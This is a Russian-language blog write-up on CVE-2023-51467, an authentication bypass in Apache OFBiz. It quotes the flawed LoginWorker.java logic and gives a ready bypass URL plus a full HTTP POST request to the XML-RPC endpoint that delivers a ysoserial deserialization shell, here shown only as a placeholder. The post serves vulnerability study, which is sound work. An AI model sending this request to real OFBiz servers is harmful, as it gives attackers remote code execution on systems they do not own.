Oh Yes, Ping Pong: Глубже в Apache Ofbiz CVE-2023-51467
Под занавес прошлого года мы стали свидетелями скандальной уязвимости Apache Ofbiz (подробности здесь), которая позволяла обойти аутентификацию и использовать XML-RPC в своих интересах. Давайте рассмотрим, что это такое и как это происходит. 😺
Суть проблемы заключается в том, что XML-RPC, как правило, должен использоваться только с действительными учетными данными. Давайте вглядимся в момент аутентификации пользователя в файле LoginWorker.java:
List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}
Все начинается с requirePasswordChange
, который не обращает внимания на то, введены ли действительные учетные данные. Если пользователь передает параметр "Y", то метод login(HttpServletRequest request, HttpServletResponse response)
вернет строку requirePasswordChange
.
Далее идем в checkLogin()
, где происходит следующий момент:
if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))
Фактически мы можем обойти проверку, вставив любой символ, и условие "error".equals(login(request, response))
не сработает, так как мы заставили login(...)
вернуть requirePasswordChange
.
Теперь мы можем манипулировать XML-RPC:
/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y
Через сериализацию передаем наш shell, созданный с использованием ysoserial (ссылка):
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>